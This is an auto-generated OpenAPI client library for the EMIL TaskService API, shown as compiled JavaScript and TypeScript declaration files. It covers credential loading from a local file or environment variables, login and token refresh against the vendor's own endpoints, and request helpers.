| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.RequiredError = exports.BaseAPI = exports.resetRetry = exports.Environment = exports.COLLECTION_FORMATS = exports.BASE_PATH = void 0; | ||
| var configuration_1 = require("./configuration"); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var axios_1 = __importDefault(require("axios")); | ||
| var fs = __importStar(require("fs")); | ||
| var path = __importStar(require("path")); | ||
| var os = __importStar(require("os")); | ||
| exports.BASE_PATH = "https://apiv2.emil.de".replace(/\/+$/, ""); | ||
| var CONFIG_DIRECTORY = '.emil'; | ||
| var CONFIG_FILENAME = 'credentials'; | ||
| var KEY_USERNAME = 'emil_username'; | ||
| var KEY_PASSWORD = 'emil_password'; | ||
| var filePath = os.homedir() + path.sep + CONFIG_DIRECTORY + path.sep + CONFIG_FILENAME; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| exports.COLLECTION_FORMATS = { | ||
| csv: ",", | ||
| ssv: " ", | ||
| tsv: "\t", | ||
| pipes: "|", | ||
| }; | ||
| var Environment; | ||
| (function (Environment) { | ||
| Environment["Production"] = "https://apiv2.emil.de"; | ||
| Environment["Test"] = "https://apiv2-test.emil.de"; | ||
| Environment["Staging"] = "https://apiv2-staging.emil.de"; | ||
| Environment["Development"] = "https://apiv2-dev.emil.de"; | ||
| Environment["ProductionZurich"] = "https://eu-central-2.apiv2.emil.de"; | ||
| })(Environment = exports.Environment || (exports.Environment = {})); | ||
| var _retry_count = 0; | ||
| var _retry = null; | ||
| function resetRetry() { | ||
| _retry_count = 0; | ||
| } | ||
| exports.resetRetry = resetRetry; | ||
| var NETWORK_ERROR_MESSAGE = "Network Error"; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class BaseAPI | ||
| */ | ||
| var BaseAPI = /** @class */ (function () { | ||
| function BaseAPI(configuration, basePath, axios) { | ||
| if (basePath === void 0) { basePath = exports.BASE_PATH; } | ||
| if (axios === void 0) { axios = axios_1.default; } | ||
| this.basePath = basePath; | ||
| this.axios = axios; | ||
| if (configuration) { | ||
| this.configuration = configuration; | ||
| this.basePath = configuration.basePath || this.basePath; | ||
| } | ||
| else { | ||
| this.configuration = new configuration_1.Configuration({ | ||
| basePath: this.basePath, | ||
| }); | ||
| } | ||
| this.attachInterceptor(axios); | ||
| } | ||
| BaseAPI.prototype.initialize = function (env, targetWorkspace) { | ||
| if (env === void 0) { env = Environment.Production; } | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| this.configuration.basePath = env; | ||
| return [4 /*yield*/, this.loadCredentials()]; | ||
| case 1: | ||
| _a.sent(); | ||
| if (!this.username) return [3 /*break*/, 3]; | ||
| return [4 /*yield*/, this.authorize(this.username, this.password, targetWorkspace)]; | ||
| case 2: | ||
| _a.sent(); | ||
| this.password = null; // to avoid keeping password loaded in memory. | ||
| _a.label = 3; | ||
| case 3: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.loadCredentials = function () { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var error_1; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| _a.trys.push([0, 2, , 3]); | ||
| return [4 /*yield*/, this.readConfigFile()]; | ||
| case 1: | ||
| _a.sent(); | ||
| return [3 /*break*/, 3]; | ||
| case 2: | ||
| error_1 = _a.sent(); | ||
| console.warn("No credentials file found. Check that ".concat(filePath, " exists.")); | ||
| return [3 /*break*/, 3]; | ||
| case 3: | ||
| this.readEnvVariables(); | ||
| if (!this.username) { | ||
| console.info("No credentials found in credentials file or environment variables. Either provide some or use \n authorize() function."); | ||
| } | ||
| return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.readConfigFile = function () { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var file, lines; | ||
| var _this = this; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: return [4 /*yield*/, fs.promises.readFile(filePath, 'utf-8')]; | ||
| case 1: | ||
| file = _a.sent(); | ||
| lines = file.split(os.EOL) | ||
| .filter(Boolean); | ||
| lines.forEach(function (line) { | ||
| if (line.startsWith(KEY_USERNAME)) { | ||
| _this.username = line.length > KEY_USERNAME.length + 1 ? line.substring(KEY_USERNAME.length + 1) : ''; | ||
| } | ||
| else if (line.startsWith(KEY_PASSWORD)) { | ||
| _this.password = line.length > KEY_PASSWORD.length + 1 ? line.substring(KEY_PASSWORD.length + 1) : ''; | ||
| } | ||
| }); | ||
| return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.readEnvVariables = function () { | ||
| if (process.env.EMIL_USERNAME) { | ||
| this.username = process.env.EMIL_USERNAME; | ||
| this.password = process.env.EMIL_PASSWORD || ''; | ||
| return true; | ||
| } | ||
| return false; | ||
| }; | ||
| BaseAPI.prototype.selectEnvironment = function (env) { | ||
| this.configuration.basePath = env; | ||
| }; | ||
| BaseAPI.prototype.authorize = function (username, password, targetWorkspace) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var options, response, accessToken, refreshToken; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| options = { | ||
| method: 'POST', | ||
| url: "".concat(this.configuration.basePath, "/authservice/v1/login"), | ||
| headers: { 'Content-Type': 'application/json' }, | ||
| data: { | ||
| username: username, | ||
| password: password, | ||
| }, | ||
| withCredentials: true, | ||
| }; | ||
| return [4 /*yield*/, axios_1.default.request(options)]; | ||
| case 1: | ||
| response = _a.sent(); | ||
| accessToken = response.data.accessToken; | ||
| this.configuration.username = username; | ||
| this.configuration.accessToken = "Bearer ".concat(accessToken); | ||
| refreshToken = this.extractRefreshToken(response); | ||
| this.configuration.refreshToken = refreshToken; | ||
| if (!targetWorkspace) return [3 /*break*/, 3]; | ||
| return [4 /*yield*/, this.switchWorkspace(targetWorkspace)]; | ||
| case 2: | ||
| _a.sent(); | ||
| _a.label = 3; | ||
| case 3: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.switchWorkspace = function (targetWorkspace) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var options, response, accessToken, refreshToken; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| options = { | ||
| method: 'POST', | ||
| url: "".concat(this.configuration.basePath, "/authservice/v1/workspaces/switch"), | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| 'Authorization': "Bearer ".concat(this.configuration.accessToken), | ||
| 'Cookie': this.configuration.refreshToken, | ||
| }, | ||
| data: { | ||
| username: this.configuration.username, | ||
| targetWorkspace: targetWorkspace, | ||
| }, | ||
| withCredentials: true, | ||
| }; | ||
| return [4 /*yield*/, axios_1.default.request(options)]; | ||
| case 1: | ||
| response = _a.sent(); | ||
| accessToken = response.data.accessToken; | ||
| this.configuration.accessToken = "Bearer ".concat(accessToken); | ||
| refreshToken = this.extractRefreshToken(response); | ||
| if (refreshToken) { | ||
| this.configuration.refreshToken = refreshToken; | ||
| } | ||
| return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.refreshTokenInternal = function () { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var _a, username, refreshToken, options, accessToken; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| _a = this.configuration, username = _a.username, refreshToken = _a.refreshToken; | ||
| if (!username || !refreshToken) { | ||
| return [2 /*return*/, '']; | ||
| } | ||
| options = { | ||
| method: 'POST', | ||
| url: "".concat(this.configuration.basePath, "/authservice/v1/refresh-token"), | ||
| headers: { | ||
| 'Content-Type': 'application/json', | ||
| Cookie: refreshToken, | ||
| }, | ||
| data: { username: username }, | ||
| withCredentials: true, | ||
| }; | ||
| return [4 /*yield*/, axios_1.default.request(options)]; | ||
| case 1: | ||
| accessToken = (_b.sent()).data.accessToken; | ||
| return [2 /*return*/, accessToken]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| BaseAPI.prototype.extractRefreshToken = function (response) { | ||
| if (response.headers && response.headers['set-cookie'] | ||
| && response.headers['set-cookie'].length > 0) { | ||
| return "".concat(response.headers['set-cookie'][0].split(';')[0], ";"); | ||
| } | ||
| return ''; | ||
| }; | ||
| BaseAPI.prototype.getConfiguration = function () { | ||
| return this.configuration; | ||
| }; | ||
| BaseAPI.prototype.attachInterceptor = function (axios) { | ||
| var _this = this; | ||
| axios.interceptors.response.use(function (res) { | ||
| return res; | ||
| }, function (err) { return __awaiter(_this, void 0, void 0, function () { | ||
| var originalConfig, tokenString, accessToken, _error_1, tokenString, accessToken, _error_2; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| originalConfig = err.config; | ||
| if (!err.response) return [3 /*break*/, 5]; | ||
| if (!(err.response.status === 401 && !originalConfig._retry)) return [3 /*break*/, 4]; | ||
| originalConfig._retry = true; | ||
| _a.label = 1; | ||
| case 1: | ||
| _a.trys.push([1, 3, , 4]); | ||
| return [4 /*yield*/, this.refreshTokenInternal()]; | ||
| case 2: | ||
| tokenString = _a.sent(); | ||
| accessToken = "Bearer ".concat(tokenString); | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return [2 /*return*/, axios.request(originalConfig)]; | ||
| case 3: | ||
| _error_1 = _a.sent(); | ||
| if (_error_1.response && _error_1.response.data) { | ||
| return [2 /*return*/, Promise.reject(_error_1.response.data)]; | ||
| } | ||
| return [2 /*return*/, Promise.reject(_error_1)]; | ||
| case 4: | ||
| if (err.response.status === 403 && err.response.data) { | ||
| return [2 /*return*/, Promise.reject(err.response.data)]; | ||
| } | ||
| return [3 /*break*/, 9]; | ||
| case 5: | ||
| if (!(err.message === NETWORK_ERROR_MESSAGE | ||
| && err.isAxiosError | ||
| && originalConfig.headers.hasOwnProperty('Authorization') | ||
| && _retry_count < 4)) return [3 /*break*/, 9]; | ||
| _retry_count++; | ||
| _a.label = 6; | ||
| case 6: | ||
| _a.trys.push([6, 8, , 9]); | ||
| return [4 /*yield*/, this.refreshTokenInternal()]; | ||
| case 7: | ||
| tokenString = _a.sent(); | ||
| accessToken = "Bearer ".concat(tokenString); | ||
| _retry = true; | ||
| originalConfig.headers['Authorization'] = accessToken; | ||
| this.configuration.accessToken = accessToken; | ||
| return [2 /*return*/, axios.request(__assign({}, originalConfig))]; | ||
| case 8: | ||
| _error_2 = _a.sent(); | ||
| if (_error_2.response && _error_2.response.data) { | ||
| return [2 /*return*/, Promise.reject(_error_2.response.data)]; | ||
| } | ||
| return [2 /*return*/, Promise.reject(_error_2)]; | ||
| case 9: return [2 /*return*/, Promise.reject(err)]; | ||
| } | ||
| }); | ||
| }); }); | ||
| }; | ||
| return BaseAPI; | ||
| }()); | ||
| exports.BaseAPI = BaseAPI; | ||
| ; | ||
| /** | ||
| * | ||
| * @export | ||
| * @class RequiredError | ||
| * @extends {Error} | ||
| */ | ||
| var RequiredError = /** @class */ (function (_super) { | ||
| __extends(RequiredError, _super); | ||
| function RequiredError(field, msg) { | ||
| var _this = _super.call(this, msg) || this; | ||
| _this.field = field; | ||
| _this.name = "RequiredError"; | ||
| return _this; | ||
| } | ||
| return RequiredError; | ||
| }(Error)); | ||
| exports.RequiredError = RequiredError; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { Configuration } from "./configuration"; | ||
| import { RequestArgs } from "./base"; | ||
| import { AxiosInstance, AxiosResponse } from 'axios'; | ||
| import { URL } from 'url'; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const DUMMY_BASE_URL = "https://example.com"; | ||
| /** | ||
| * | ||
| * @throws {RequiredError} | ||
| * @export | ||
| */ | ||
| export declare const assertParamExists: (functionName: string, paramName: string, paramValue: unknown) => void; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setApiKeyToObject: (object: any, keyParamName: string, configuration?: Configuration) => Promise<void>; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setBasicAuthToObject: (object: any, configuration?: Configuration) => void; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setBearerAuthToObject: (object: any, configuration?: Configuration) => Promise<void>; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setOAuthToObject: (object: any, name: string, scopes: string[], configuration?: Configuration) => Promise<void>; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const setSearchParams: (url: URL, ...objects: any[]) => void; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const serializeDataIfNeeded: (value: any, requestOptions: any, configuration?: Configuration) => any; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const toPathString: (url: URL) => string; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| export declare const createRequestFunction: (axiosArgs: RequestArgs, globalAxios: AxiosInstance, BASE_PATH: string, configuration?: Configuration) => <T = unknown, R = AxiosResponse<T, any, {}>>(axios?: AxiosInstance, basePath?: string) => Promise<R>; | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface IStorageConverter<D, SD> { | ||
| toStorageData(data: D): SD; | ||
| fromStorageData(storageData: SD): D; | ||
| } | ||
| export interface IStorage { | ||
| get<T>(key: string, converter?: IStorageConverter<T, any>): T | null; | ||
| set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void; | ||
| } | ||
| export declare class LocalStorage implements IStorage { | ||
| readonly storage: Storage; | ||
| constructor(); | ||
| get<T>(key: string, converter?: IStorageConverter<T, any>): T | null; | ||
| set<T>(key: string, value: T, converter?: IStorageConverter<T, any>): void; | ||
| } | ||
| export declare const defaultStorage: () => IStorage; |
+277
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.defaultStorage = exports.LocalStorage = exports.createRequestFunction = exports.toPathString = exports.serializeDataIfNeeded = exports.setSearchParams = exports.setOAuthToObject = exports.setBearerAuthToObject = exports.setBasicAuthToObject = exports.setApiKeyToObject = exports.assertParamExists = exports.DUMMY_BASE_URL = void 0; | ||
| var base_1 = require("./base"); | ||
| var url_1 = require("url"); | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| exports.DUMMY_BASE_URL = 'https://example.com'; | ||
| /** | ||
| * | ||
| * @throws {RequiredError} | ||
| * @export | ||
| */ | ||
| var assertParamExists = function (functionName, paramName, paramValue) { | ||
| if (paramValue === null || paramValue === undefined) { | ||
| throw new base_1.RequiredError(paramName, "Required parameter ".concat(paramName, " was null or undefined when calling ").concat(functionName, ".")); | ||
| } | ||
| }; | ||
| exports.assertParamExists = assertParamExists; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setApiKeyToObject = function (object, keyParamName, configuration) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarApiKeyValue, _a; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| if (!(configuration && configuration.apiKey)) return [3 /*break*/, 5]; | ||
| if (!(typeof configuration.apiKey === 'function')) return [3 /*break*/, 2]; | ||
| return [4 /*yield*/, configuration.apiKey(keyParamName)]; | ||
| case 1: | ||
| _a = _b.sent(); | ||
| return [3 /*break*/, 4]; | ||
| case 2: return [4 /*yield*/, configuration.apiKey]; | ||
| case 3: | ||
| _a = _b.sent(); | ||
| _b.label = 4; | ||
| case 4: | ||
| localVarApiKeyValue = _a; | ||
| object[keyParamName] = localVarApiKeyValue; | ||
| _b.label = 5; | ||
| case 5: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| exports.setApiKeyToObject = setApiKeyToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setBasicAuthToObject = function (object, configuration) { | ||
| if (configuration && (configuration.username || configuration.password)) { | ||
| object["auth"] = { username: configuration.username, password: configuration.password }; | ||
| } | ||
| }; | ||
| exports.setBasicAuthToObject = setBasicAuthToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setBearerAuthToObject = function (object, configuration) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var accessToken, _a; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5]; | ||
| if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2]; | ||
| return [4 /*yield*/, configuration.accessToken()]; | ||
| case 1: | ||
| _a = _b.sent(); | ||
| return [3 /*break*/, 4]; | ||
| case 2: return [4 /*yield*/, configuration.accessToken]; | ||
| case 3: | ||
| _a = _b.sent(); | ||
| _b.label = 4; | ||
| case 4: | ||
| accessToken = _a; | ||
| object["Authorization"] = configuration.getBearerToken(accessToken); | ||
| _b.label = 5; | ||
| case 5: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| exports.setBearerAuthToObject = setBearerAuthToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setOAuthToObject = function (object, name, scopes, configuration) { | ||
| return __awaiter(this, void 0, void 0, function () { | ||
| var localVarAccessTokenValue, _a; | ||
| return __generator(this, function (_b) { | ||
| switch (_b.label) { | ||
| case 0: | ||
| if (!(configuration && configuration.accessToken)) return [3 /*break*/, 5]; | ||
| if (!(typeof configuration.accessToken === 'function')) return [3 /*break*/, 2]; | ||
| return [4 /*yield*/, configuration.accessToken(name, scopes)]; | ||
| case 1: | ||
| _a = _b.sent(); | ||
| return [3 /*break*/, 4]; | ||
| case 2: return [4 /*yield*/, configuration.accessToken]; | ||
| case 3: | ||
| _a = _b.sent(); | ||
| _b.label = 4; | ||
| case 4: | ||
| localVarAccessTokenValue = _a; | ||
| object["Authorization"] = configuration.getBearerToken(localVarAccessTokenValue); | ||
| _b.label = 5; | ||
| case 5: return [2 /*return*/]; | ||
| } | ||
| }); | ||
| }); | ||
| }; | ||
| exports.setOAuthToObject = setOAuthToObject; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var setSearchParams = function (url) { | ||
| var objects = []; | ||
| for (var _i = 1; _i < arguments.length; _i++) { | ||
| objects[_i - 1] = arguments[_i]; | ||
| } | ||
| var searchParams = new url_1.URLSearchParams(url.search); | ||
| for (var _a = 0, objects_1 = objects; _a < objects_1.length; _a++) { | ||
| var object = objects_1[_a]; | ||
| for (var key in object) { | ||
| if (Array.isArray(object[key])) { | ||
| searchParams.delete(key); | ||
| for (var _b = 0, _c = object[key]; _b < _c.length; _b++) { | ||
| var item = _c[_b]; | ||
| searchParams.append(key, item); | ||
| } | ||
| } | ||
| else { | ||
| searchParams.set(key, object[key]); | ||
| } | ||
| } | ||
| } | ||
| url.search = searchParams.toString(); | ||
| }; | ||
| exports.setSearchParams = setSearchParams; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var serializeDataIfNeeded = function (value, requestOptions, configuration) { | ||
| var nonString = typeof value !== 'string'; | ||
| var needsSerialization = nonString && configuration && configuration.isJsonMime | ||
| ? configuration.isJsonMime(requestOptions.headers['Content-Type']) | ||
| : nonString; | ||
| return needsSerialization | ||
| ? JSON.stringify(value !== undefined ? value : {}) | ||
| : (value || ""); | ||
| }; | ||
| exports.serializeDataIfNeeded = serializeDataIfNeeded; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var toPathString = function (url) { | ||
| return url.pathname + url.search + url.hash; | ||
| }; | ||
| exports.toPathString = toPathString; | ||
| /** | ||
| * | ||
| * @export | ||
| */ | ||
| var createRequestFunction = function (axiosArgs, globalAxios, BASE_PATH, configuration) { | ||
| return function (axios, basePath) { | ||
| if (axios === void 0) { axios = globalAxios; } | ||
| if (basePath === void 0) { basePath = BASE_PATH; } | ||
| var axiosRequestArgs = __assign(__assign({}, axiosArgs.options), { url: ((configuration === null || configuration === void 0 ? void 0 : configuration.basePath) || basePath) + axiosArgs.url }); | ||
| return axios.request(axiosRequestArgs); | ||
| }; | ||
| }; | ||
| exports.createRequestFunction = createRequestFunction; | ||
| var LocalStorage = /** @class */ (function () { | ||
| function LocalStorage() { | ||
| this.storage = localStorage; | ||
| } | ||
| LocalStorage.prototype.get = function (key, converter) { | ||
| var jsonValue = this.storage.getItem(key); | ||
| if (jsonValue === null) { | ||
| return null; | ||
| } | ||
| var value = JSON.parse(jsonValue); | ||
| if (converter !== undefined) { | ||
| return converter.fromStorageData(value); | ||
| } | ||
| else { | ||
| return value; | ||
| } | ||
| }; | ||
| LocalStorage.prototype.set = function (key, value, converter) { | ||
| var valueToStore = value; | ||
| if (converter !== undefined) { | ||
| valueToStore = converter.toStorageData(value); | ||
| } | ||
| var jsonValue = JSON.stringify(valueToStore); | ||
| this.storage.setItem(key, jsonValue); | ||
| }; | ||
| return LocalStorage; | ||
| }()); | ||
| exports.LocalStorage = LocalStorage; | ||
| var _defaultStorage = null; | ||
| var defaultStorage = function () { | ||
| return _defaultStorage || (_defaultStorage = new LocalStorage()); | ||
| }; | ||
| exports.defaultStorage = defaultStorage; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| export interface ConfigurationParameters { | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| username?: string; | ||
| password?: string; | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| basePath?: string; | ||
| baseOptions?: any; | ||
| formDataCtor?: new () => any; | ||
| } | ||
| export declare class Configuration { | ||
| /** | ||
| * parameter for apiKey security | ||
| * @param name security name | ||
| * @memberof Configuration | ||
| */ | ||
| apiKey?: string | Promise<string> | ((name: string) => string) | ((name: string) => Promise<string>); | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| username?: string; | ||
| /** | ||
| * parameter for basic security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| password?: string; | ||
| /** | ||
| * parameter for oauth2 security | ||
| * @param name security name | ||
| * @param scopes oauth2 scope | ||
| * @memberof Configuration | ||
| */ | ||
| accessToken?: string | Promise<string> | ((name?: string, scopes?: string[]) => string) | ((name?: string, scopes?: string[]) => Promise<string>); | ||
| /** | ||
| * override base path | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| basePath?: string; | ||
| /** | ||
| * base options for axios calls | ||
| * | ||
| * @type {any} | ||
| * @memberof Configuration | ||
| */ | ||
| baseOptions?: any; | ||
| /** | ||
| * The FormData constructor that will be used to create multipart form data | ||
| * requests. You can inject this here so that execution environments that | ||
| * do not support the FormData class can still run the generated client. | ||
| * | ||
| * @type {new () => FormData} | ||
| */ | ||
| formDataCtor?: new () => any; | ||
| /** | ||
| * parameter for automatically refreshing access token for oauth2 security | ||
| * | ||
| * @type {string} | ||
| * @memberof Configuration | ||
| */ | ||
| refreshToken?: string; | ||
| constructor(param?: ConfigurationParameters); | ||
| /** | ||
| * Check if the given MIME is a JSON MIME. | ||
| * JSON MIME examples: | ||
| * application/json | ||
| * application/json; charset=UTF8 | ||
| * APPLICATION/JSON | ||
